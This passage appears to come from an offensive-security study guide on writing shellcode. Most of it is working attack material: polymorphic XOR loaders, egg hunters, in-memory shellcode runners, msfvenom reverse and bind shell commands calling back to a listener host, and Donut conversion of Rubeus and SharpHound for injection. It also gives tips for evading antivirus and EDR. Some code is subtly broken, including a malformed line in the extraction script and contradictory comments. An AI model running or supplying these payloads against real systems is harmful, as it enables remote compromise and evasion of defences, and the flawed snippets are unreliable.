11.2 JMP/CALL/POP Technique (Get EIP/RIP)

; Problem: shellcode doesn't know its own address in memory
; (no fixed base — position independent!)
; Solution: JMP/CALL/POP trick

; When CALL executes, it pushes the address of the NEXT instruction (the data)
; POP retrieves this address — now you know where your data is!

_start:
    jmp short get_addr      ; jump over decoder/data to CALL

decoder:
    pop esi                 ; ESI = address of "data" label below
    ; use ESI to reference shellcode/data by offset

get_addr:
    call decoder            ; pushes addr of "data" onto stack, jumps to decoder

data:
    db "/bin//sh", 0        ; ← CALL pushes the address of this

11.3 msfvenom Encoders

# List available encoders
msfvenom -l encoders

# Key encoders:
# x86/shikata_ga_nai    — polymorphic XOR feedback — best for x86
# x64/xor_dynamic       — XOR for x64
# x86/countdown         — XOR with subtraction
# x86/alpha_mixed       — alphanumeric only output
# x86/alpha_upper       — uppercase alphanumeric
# x86/unicode_mixed     — unicode-compatible

# Encode with shikata_ga_nai (5 iterations for extra polymorphism)
msfvenom -p linux/x86/shell_reverse_tcp \
  LHOST=192.168.1.100 LPORT=4444 \
  -e x86/shikata_ga_nai -i 5 \
  -f c -b "\x00"

# Alphanumeric (when only printable chars allowed)
msfvenom -p linux/x86/shell_reverse_tcp \
  LHOST=192.168.1.100 LPORT=4444 \
  -e x86/alpha_mixed BufferRegister=EAX \
  -f c -b "\x00"

11.4 Custom Polymorphic Encoder

# Generate a polymorphic XOR shellcode loader in Python
import os, random

def make_polymorphic(shellcode):
    key = os.urandom(1) or 0x41   # avoid 0 key
    # Encode
    enc = bytes([b ^ key for b in shellcode])
    # Random variable names
    var1 = ''.join(random.choices('abcdefghijklmnop', k=6))
    var2 = ''.join(random.choices('abcdefghijklmnop', k=6))

    code = f"""
import ctypes, mmap

{var1} = bytearray(b'{"".join(chr(b) for b in enc)}'.encode('latin1'))
{var2} = bytearray([b ^ {key} for b in {var1}])

m = mmap.mmap(-1, len({var2}),
              prot=mmap.PROT_READ|mmap.PROT_WRITE|mmap.PROT_EXEC)
m.write(bytes({var2}))
m.seek(0)
f = ctypes.cast(ctypes.c_void_p(ctypes.addressof(
    ctypes.c_char.from_buffer(m))), ctypes.CFUNCTYPE(None))
f()
"""
    return code

12. Position Independent Code (PIC)

What it means: Shellcode cannot use absolute memory addresses — it has no idea where in memory it will land. Every address reference must be computed relative to the current position. This is called Position Independent Code (PIC). Techniques include JMP/CALL/POP, RIP-relative addressing (x64), and computing offsets at runtime.


12.1 RIP-Relative Addressing (x64)

; x64 supports RIP-relative LEA — easiest PIC method
; LEA RDI, [RIP + offset] calculates address relative to current instruction

section .text
global _start

_start:
    ; Get address of data relative to RIP
    lea rdi, [rel bin_sh]   ; RDI = &"/bin//sh" (PIC!)
    xor rsi, rsi
    xor rdx, rdx
    mov rax, 59
    syscall

bin_sh:
    db "/bin//sh", 0

12.2 CALL/POP for x86 PIC

; CALL pushes the address of the next byte onto stack
; POP retrieves it — gives you the current instruction pointer

    call get_rip        ; push address of "data:" onto stack
data:
    db "/bin//sh", 0x00
    db 0x41            ; placeholder for NULL termination fix

get_rip:
    pop ebx            ; EBX = address of "data:"
    ; now [ebx] = "/bin//sh\0"
    ; Use EBX to reference data by offset

12.3 Stack-Based String Building (No Data Section)

; Avoid using a .data section entirely
; Build strings on the stack at runtime

xor eax, eax
push eax              ; null terminator (from zeroed EAX)
push 0x68732f6e       ; "n/sh"
push 0x69622f2f       ; "//bi"
push 0x7273752f       ; "/usr" ← example for /usr/bin/sh
; adjust for desired path

mov ebx, esp          ; EBX points to string on stack

13. Egg Hunters

What it means: An egg hunter is a tiny shellcode (~32 bytes) that searches the entire process virtual address space looking for a special marker (the "egg") followed by the real shellcode. This is used in limited-buffer exploits where the overflow space is too small for a full payload but you can place the real shellcode elsewhere in memory (heap, another buffer, env variable).


13.1 How Egg Hunters Work

Memory layout with egg hunter:

┌────────────────────────────────────────────────────┐  
│ Small buffer overflow → egg hunter (~32 bytes)     │  
│ (fits in overflowed buffer)                        │  
│                                                    │  
│ Somewhere in memory (heap, env, another buffer):   │  
│ [EGG][EGG] + [full shellcode]                             │  
│ e.g.: \x57\x30\x30\x74\x57\x30\x30\x74             │  
│ ← egg × 2 → ← your shellcode →                     │  
│                                                    │  
│ Egg hunter scans all memory → finds [EGG][EGG]            │  
│ → jumps to shellcode after the egg                 │  
└────────────────────────────────────────────────────┘

13.2 SIGFAULT-Safe Egg Hunter (x86)

; NtAccessCheckAndAuditAlarm egg hunter — Linux/Windows safe
; Uses access() syscall to check memory accessibility before reading
; Avoids SIGSEGV when scanning unmapped pages

; Egg = 0x50905090 (two times = 8 bytes before shellcode)

global _start
section .text

_start:
    xor edx, edx         ; EDX = page start

next_page:
    or dx, 0xfff         ; round up to next page boundary

next_address:
    inc edx              ; EDX = next address to check

    ; Use access() syscall to test if address is readable
    ; access() syscall = 33 on x86
    lea ebx, [edx+0x4]   ; check 4 bytes ahead
    push 0x21            ; access syscall = 33 (0x21)
    pop eax
    int 0x80

    cmp al, 0xf2         ; EFAULT = 0xf2 = bad address
    je next_page         ; skip to next page if inaccessible

    ; Address is readable — check for egg
    mov eax, 0x50905090  ; our egg value
    cmp [edx], eax       ; is first dword = egg?
    jnz next_address     ; no — try next address
    cmp [edx+0x4], eax   ; is second dword = egg?
    jnz next_address     ; no — might be a false positive

    ; Found [egg][egg] — jump to shellcode (8 bytes past egg start)
    jmp edx              ; jump to egg — shellcode is right after both eggs

13.3 Using the Egg Hunter

# Egg hunter shellcode = ~32 bytes (use in overflow buffer)
# Full shellcode prefixed with EGG × 2, placed elsewhere

# Python — generate egg-prefixed shellcode
egg     = b"\x90\x50\x90\x50"   # egg value (4 bytes)
marker  = egg + egg              # two eggs = 8 byte marker

shellcode = b"\x31\xc0\x50\x68..."   # your full shellcode

final_payload = marker + shellcode   # inject this into heap/env

14. Shellcode Testing & Debugging

What it means: Before deploying shellcode in an exploit, test it in a controlled environment. Use C wrappers to execute it, GDB to step through it, and strace to observe syscalls. This catches null bytes, bad characters, and logical errors before you're debugging a live exploit.


14.1 C Shellcode Runner

// shellcode_runner.c — universal shellcode tester

#include <stdio.h>
#include <string.h>
#include <sys/mman.h>

unsigned char shellcode[] = {
    // paste your shellcode bytes here
    0x31, 0xc0, 0x31, 0xdb, 0x31, 0xc9, 0x31, 0xd2,
    0x68, 0x2f, 0x2f, 0x73, 0x68, 0x68, 0x2f, 0x62,
    0x69, 0x6e, 0x89, 0xe3, 0x51, 0x53, 0x89, 0xe1,
    0xb0, 0x0b, 0xcd, 0x80
};

int main() {
    printf("[*] Shellcode length: %zu bytes\n", sizeof(shellcode));

    // Allocate executable memory (mmap RWX region)
    void *exec_mem = mmap(0, sizeof(shellcode),
                          PROT_READ | PROT_WRITE | PROT_EXEC,
                          MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);

    if (exec_mem == MAP_FAILED) {
        perror("mmap failed");
        return 1;
    }

    // Copy shellcode to executable region
    memcpy(exec_mem, shellcode, sizeof(shellcode));

    // Execute
    printf("[*] Jumping to shellcode...\n");
    fflush(stdout);

    ((void(*)())exec_mem)();

    return 0;
}
# Compile (no protections for testing)
gcc -fno-stack-protector -z execstack -no-pie -o runner shellcode_runner.c
./runner

# 32-bit
gcc -m32 -fno-stack-protector -z execstack -no-pie -o runner32 shellcode_runner.c
./runner32

14.2 GDB Debugging Shellcode

# Debug the runner
gdb ./runner

# GDB commands
(gdb) break main
(gdb) run
(gdb) disassemble main
(gdb) ni                     # next instruction (step over)
(gdb) si                     # step into
(gdb) x/20xb $esp            # examine 20 bytes at stack pointer
(gdb) x/20i $eip             # disassemble 20 instructions from EIP
(gdb) x/s $ebx               # print string at EBX
(gdb) info registers         # show all register values
(gdb) p/x $eax               # print EAX in hex
(gdb) set $eip = <addr>      # jump to address

# Run until shellcode and inspect
(gdb) break *0x<shellcode_addr>
(gdb) x/30xb 0x<shellcode_addr>   # view shellcode bytes in memory

# Examine stack
(gdb) x/40xw $esp

14.3 strace — Syscall Tracing

# Trace syscalls made by shellcode runner
strace ./runner 2>&1

# Filter specific syscalls
strace -e execve,socket,connect,dup2 ./runner

# Output shows:
# execve("/bin/sh", NULL, NULL) = 0  ← success!
# connect(3, {sa_family=AF_INET, sin_port=htons(4444), ...}, 16) = 0

14.4 ndisasm / objdump — Disassemble Raw Bytes

# ndisasm — disassemble raw shellcode bytes
echo -ne "\x31\xc0\x31\xdb\x31\xc9\xb0\x0b\xcd\x80" | ndisasm -u -
# -u = 32-bit, -b 64 = 64-bit

# From file
ndisasm -u shellcode.bin

# objdump from binary
objdump -d -M intel shell_elf

# Python — quick disassemble with pwntools
python3 -c "
from pwn import *
context.arch = 'amd64'
sc = b'\x31\xc0\x50\x68\x2f\x2f\x73\x68'
print(disasm(sc))
"

15. Shellcode Extraction & Formatting

What it means: After writing and assembling your shellcode, you need to extract the raw bytes and format them for your exploit — as a C char array, Python bytes string, hex string, or raw binary. Automating this saves time and reduces errors.


15.1 Extract from Compiled ELF

# Method 1: objdump + cut
objdump -d ./shellcode | grep "^\s" | cut -f2 | \
  perl -pe 's/(\w{2})\s*/\\x$1/g' | \
  tr -d '\n' | sed 's/^/shellcode = b"/' | sed 's/$/"/'

# Method 2: objcopy — extract .text section as raw binary
objcopy -O binary --only-section=.text shellcode shellcode.bin
xxd shellcode.bin

# Method 3: Python script for clean extraction
python3 << 'EOF'
import subprocess

result = subprocess.run(['objdump', '-d', './shellcode'],
                       capture_output=True, text=True)
hex_bytes = []
for line in result.stdout.split('\n'):
    if line.startswith(' ') and ':' in line:
        parts = line.split('\t')
        if len(parts) >= 2:
            hex_bytes.extend(parts.split())[1]

shellcode = ''.join(f'\\x{b}' for b in hex_bytes)
print(f'Length: {len(hex_bytes)} bytes')
print(f'C:      unsigned char sc[] = "{shellcode}";')
print(f'Python: sc = b"{shellcode}"')
EOF

15.2 Format Conversion

# Raw binary → C array
xxd -i shellcode.bin

# Hex → Python bytes
echo "31c050682f2f7368682f62696e89e35053" | \
  python3 -c "import sys; d=sys.stdin.read().strip(); print('b\"'+
  ''.join(f'\\\\x{d[i:i+2]}' for i in range(0,len(d),2))+'\"')"

# Base64 encode shellcode
cat shellcode.bin | base64
cat shellcode.bin | base64 -w 0   # no line wrap

# Base64 decode and run (in-memory loader)
python3 -c "
import base64, ctypes, mmap
sc_b64 = 'AAEC...'   # your base64 shellcode
sc = base64.b64decode(sc_b64)
m = mmap.mmap(-1, len(sc), prot=mmap.PROT_READ|mmap.PROT_WRITE|mmap.PROT_EXEC,
              flags=mmap.MAP_ANONYMOUS|mmap.MAP_PRIVATE)
m.write(sc)
m.seek(0)
f = ctypes.cast(ctypes.c_void_p(ctypes.addressof(ctypes.c_char.from_buffer(m))),
                ctypes.CFUNCTYPE(None))
f()
"

15.3 Python In-Memory Shellcode Executor

#!/usr/bin/env python3
# Execute shellcode in memory — no file drop
import ctypes
import mmap
import sys

# Paste shellcode as bytes
shellcode = (
    b"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
    b"\x68\x2f\x2f\x73\x68\x68\x2f\x62"
    b"\x69\x6e\x89\xe3\x51\x53\x89\xe1"
    b"\xb0\x0b\xcd\x80"
)

print(f"[*] Shellcode length: {len(shellcode)} bytes")

# Create anonymous RWX mapping
sh = ctypes.create_string_buffer(shellcode, len(shellcode))
exec_mem = ctypes.cast(sh, ctypes.CFUNCTYPE(ctypes.c_void_p))
print("[*] Executing shellcode...")
exec_mem()

16. Custom Shellcode Tools

What it means: Several tools automate shellcode generation, testing, and analysis. Understanding these tools — and when to write custom shellcode vs using them — separates good red teamers from great ones.


16.1 pwntools — Shellcode Generation

from pwn import *

# Set architecture
context.arch = 'amd64'   # or 'i386', 'arm', 'mips'
context.os   = 'linux'   # or 'windows'
context.bits = 64

# Generate shellcode
sc = shellcraft.linux.sh()           # /bin/sh spawner
sc = shellcraft.linux.execve('/bin/sh', ['/bin/sh'], None)
sc = shellcraft.linux.tcp.connect('127.0.0.1', 4444)
sc = shellcraft.linux.reverse_tcp('127.0.0.1', 4444)
sc = shellcraft.linux.bind_tcp('0.0.0.0', 4444)

# Assemble to bytes
payload = asm(sc)
print(disasm(payload))
print(hexdump(payload))

# Quick one-liner
print(asm(shellcraft.sh()))

# x86 shellcode
context.arch = 'i386'
print(asm(shellcraft.sh()))

# Avoid bad chars
payload = asm(sc)
if b'\x00' in payload:
    print("WARNING: null bytes present!")

16.2 msfvenom Complete Reference

# List all payloads
msfvenom -l payloads | grep -i "linux/x64"
msfvenom -l payloads | grep -i "windows/x64"

# Payload options
msfvenom -p linux/x64/shell_reverse_tcp --list-options

# Linux payloads
msfvenom -p linux/x64/shell_reverse_tcp  LHOST=IP LPORT=4444 -f c
msfvenom -p linux/x64/shell_bind_tcp     LPORT=4444          -f c
msfvenom -p linux/x86/shell_reverse_tcp  LHOST=IP LPORT=4444 -f c -b "\x00"
msfvenom -p linux/x64/exec               CMD="id"            -f c

# Windows payloads
msfvenom -p windows/x64/shell_reverse_tcp    LHOST=IP LPORT=4444 -f c
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=IP LPORT=443 -f raw
msfvenom -p windows/exec                     CMD="calc.exe"     -f c

# Output formats
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=4444 \
  -f c          # C char array
  -f python     # Python bytes
  -f raw        # raw binary
  -f elf        # ELF binary
  -f exe        # Windows PE
  -f dll        # Windows DLL
  -f asp        # ASP webshell
  -f aspx       # ASPX webshell
  -f jsp        # JSP webshell
  -f powershell # PowerShell byte array
  -f bash       # bash escape format
  -f base64     # base64 encoded

# Exclude bad characters
msfvenom -p linux/x86/shell_reverse_tcp LHOST=IP LPORT=4444 \
  -f c -b "\x00\x0a\x0d\x20"

16.3 Donut — Convert PE/DLL/.NET to Shellcode

# Donut converts executables to position-independent shellcode
# Great for inject-and-run — no need to write shellcode by hand
# https://github.com/TheWover/donut

# Convert EXE to shellcode
donut -i Rubeus.exe \
  -a 2 \           # arch: 2 = x64, 1 = x86, 3 = both
  -f 1 \           # output format: 1=raw, 2=base64, 7=C
  -o rubeus.bin \
  -p "kerberoast /outfile:hashes.txt"   # args

# Convert DLL to shellcode
donut -i evil.dll -a 2 -e 3 -o evil_shell.bin
# -e 3 = entropy / obfuscation level

# Convert .NET assembly
donut -i SharpHound.exe \
  -a 2 -f 7 \      # output as C
  -o sharpound.c \
  -p "-c All"      # args to the assembly

# Result: position-independent shellcode you inject into any process

17. Cheat Sheet

Syscall Quick Reference

Linux x86 (int 0x80) Linux x64 (syscall) Purpose
EAX=1, EBX=code RAX=60, RDI=code exit()
EAX=3, EBX=fd RAX=0, RDI=fd read()
EAX=4, EBX=fd RAX=1, RDI=fd write()
EAX=5, EBX=path RAX=2, RDI=path open()
EAX=11, EBX=path RAX=59, RDI=path execve()
EAX=33, EBX=old,ECX=new RAX=33, RDI=old,RSI=new dup2()
EAX=41 RAX=41 socket()
EAX=42 RAX=42 connect()
EAX=43 RAX=43 accept()
EAX=49 RAX=49 bind()
EAX=50 RAX=50 listen()
EAX=63, EBX=fd RAX=33, RDI=fd dup2()
EAX=102 (socketcall) (direct syscalls) all socket ops

Register Zero Tricks (No Null Bytes)

; Zero a register (all produce 0x00 bytes in instruction stream)
xor eax, eax        ; 31 c0 ← preferred (2 bytes, no nulls)
sub eax, eax        ; 29 c0
mul ebx             ; 0 in EAX if EBX=0 (side effect)
and eax, 0          ; 83 e0 00 ← has null!
mov eax, 0          ; b8 00 00 00 00 ← has nulls!

One-Liner Tools

# Assemble NASM and extract bytes
nasm -f elf64 shell.asm -o shell.o && \
  ld -o shell shell.o && \
  objdump -d shell | grep '^\s' | \
  cut -f2 | perl -pe 's/(\w{2})\s*/\\x$1/g' | tr -d '\n'

# Check shellcode for null bytes
objdump -d ./shellcode | grep -P "\s00\s"

# Quick shellcode runner (one-liner)
python3 -c "
import ctypes, mmap
sc = b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'
m = mmap.mmap(-1, len(sc), prot=mmap.PROT_READ|mmap.PROT_WRITE|mmap.PROT_EXEC,
              flags=mmap.MAP_ANONYMOUS|mmap.MAP_PRIVATE)
m.write(sc); m.seek(0)
f = ctypes.cast(ctypes.c_void_p(ctypes.addressof(ctypes.c_char.from_buffer(m))),
                ctypes.CFUNCTYPE(None))
f()
"

# ndisasm raw bytes
echo -ne "\x31\xc0\x50\xb0\x0b\xcd\x80" | ndisasm -b 32 -
echo -ne "\x31\xc0\x50\xb0\x0b\x0f\x05" | ndisasm -b 64 -

# pwntools generate + print
python3 -c "from pwn import *; context.arch='amd64'; print(disasm(asm(shellcraft.sh())))"

# msfvenom linux reverse shell one-liner
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<IP> LPORT=4444 -f py -b "\x00"

# msfvenom windows reverse shell one-liner
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=4444 -f c -b "\x00"

# strace shellcode runner
strace -e execve,socket,connect,dup2,bind,listen,accept ./runner

# Donut — PE to shellcode
donut -i tool.exe -a 2 -f 1 -o shell.bin -p "args here"

Common Shellcode Sizes Reference

Payload Arch Size (bytes) ──────────────────────────────────────────────────── execve /bin/sh (manual) x86 28 execve /bin/sh (manual) x64 31 execve /bin/sh (msfvenom) x86 24 execve /bin/sh (msfvenom) x64 27 Reverse shell (msfvenom raw) x86 68 Reverse shell (msfvenom raw) x64 74 Bind shell (msfvenom raw) x86 78 Bind shell (msfvenom raw) x64 86 Egg hunter (SIGSEGV safe) x86 32 XOR decoder stub x86 ~20 Windows reverse TCP (msfvenom) x64 460 Windows Meterpreter (staged) x64 510


Shellcode Development Workflow

  1. Write in NASM (Intel syntax) ↓
  2. Assemble: nasm -f elf64 shell.asm -o shell.o ↓
  3. Link: ld -o shell shell.o ↓
  4. Test binary directly: ./shell ↓
  5. Check for null bytes: objdump -d shell | grep "^\s" | grep " 00 " ↓ [If nulls found] → fix with xor, sub-register, encoding ↓
  6. Extract shellcode bytes: objdump -d shell | grep "^\s" | cut -f2 | perl -pe 's/(\w{2})\s*/\x$1/g' ↓
  7. Test in C wrapper: gcc -z execstack -no-pie -o runner runner.c && ./runner ↓
  8. Debug with GDB / strace if needed ↓
  9. Encode (if bad chars): msfvenom -e x86/shikata_ga_nai / custom XOR ↓
  10. Deploy in exploit / inject via shellcode runner

Architecture Decision Reference

Target is 32-bit process (x86)? → Use x86 shellcode (int 0x80, EAX/EBX/ECX...) → Compile runner: gcc -m32 ...

Target is 64-bit process (x64)? → Use x64 shellcode (syscall, RAX/RDI/RSI...) → Compile runner: gcc (default)

Target is Windows? → No Linux syscalls! → Use PEB walk → EAT parse → WinAPI → msfvenom windows/x64/shell_reverse_tcp → Donut for PE→shellcode conversion

Limited buffer space? → Use egg hunter (32 bytes) in overflow → Place real shellcode in heap/env

Bad chars filtering (alphanumeric only)? → msfvenom -e x86/alpha_mixed BufferRegister=EAX

AV/EDR scanning memory? → Encrypt shellcode (AES/XOR) → Module stomping (live in signed DLL) → Sleep obfuscation (see EDR Evasion notes)


Key Port Encodings (Big Endian for Sockets)

Port Decimal Big-Endian Hex NASM push ──────────────────────────────────────────────── 21 FTP 0x0015 push word 0x1500 22 SSH 0x0016 push word 0x1600 80 HTTP 0x0050 push word 0x5000 443 HTTPS 0x01bb push word 0xbb01 1234 Custom 0x04d2 push word 0xd204 4444 Default 0x115c push word 0x5c11 8080 Alt HTTP 0x1f90 push word 0x901f 9001 Default 0x2329 push word 0x2923


Common IP Encodings (Little Endian for sin_addr)

# Convert IP to little-endian dword for push in shellcode
import socket, struct

def ip_to_hex(ip):
    packed = socket.inet_aton(ip)
    le = struct.unpack("<I", packed)[0]
    return hex(le)

# Examples:
# 127.0.0.1       → 0x0100007f
# 192.168.1.100   → 0x6401a8c0
# 10.10.10.10     → 0x0a0a0a0a  ← has null bytes! (10=0x0a)
# 10.10.10.10 fix → use XOR encoding for the IP dword

ip_to_hex("192.168.1.100")   # → 0x6401a8c0
ip_to_hex("127.0.0.1")       # → 0x0100007f  ← has null bytes!

Null-Byte-Free IP Handling

; Problem: IP 127.0.0.1 = 0x0100007f contains multiple \x00 ; Solution: XOR the IP dword with a known key

; IP: 127.0.0.1 = 0x0100007f ; Key: 0x01010101 ; XOR: 0x0101017e ← no null bytes!

; In shellcode: mov eax, 0x0101017e ; XOR'd IP value (no nulls) xor eax, 0x01010101 ; decode to get 0x0100007f (127.0.0.1) push eax ; push real IP value


Key Takeaways for Shellcode Mastery

Foundations first: - Master execve /bin/sh by hand — if you can write this from scratch, you understand the full stack - Null byte avoidance is not optional — debug it before anything else - JMP/CALL/POP and RIP-relative addressing are the two PIC techniques you'll use 90% of the time

Workflow for real engagements: - Quick payload: msfvenom or pwntools shellcraft — generates clean, tested shellcode in seconds - AV-evading payload: Write custom shellcode + AES encrypt → decrypt stub + inject (reference EDR Evasion notes) - Tight buffer / egg hunter: Write or borrow the 32-byte SIGSEGV-safe hunter, place real shellcode in heap/env - Windows targets: Use Donut to convert your C2 beacon EXE into raw shellcode — far easier than hand-writing Windows shellcode

OSCP context: - x86 Linux shellcode is tested directly in BOF modules — know it cold - msfvenom output formats (-f c, -f py, -f raw) are your daily tools - pwntools + shellcraft cuts shellcode development from hours to minutes - Always test with strace — if execve("/bin/sh"...) appears in the trace, your shellcode works

← Binary top ↑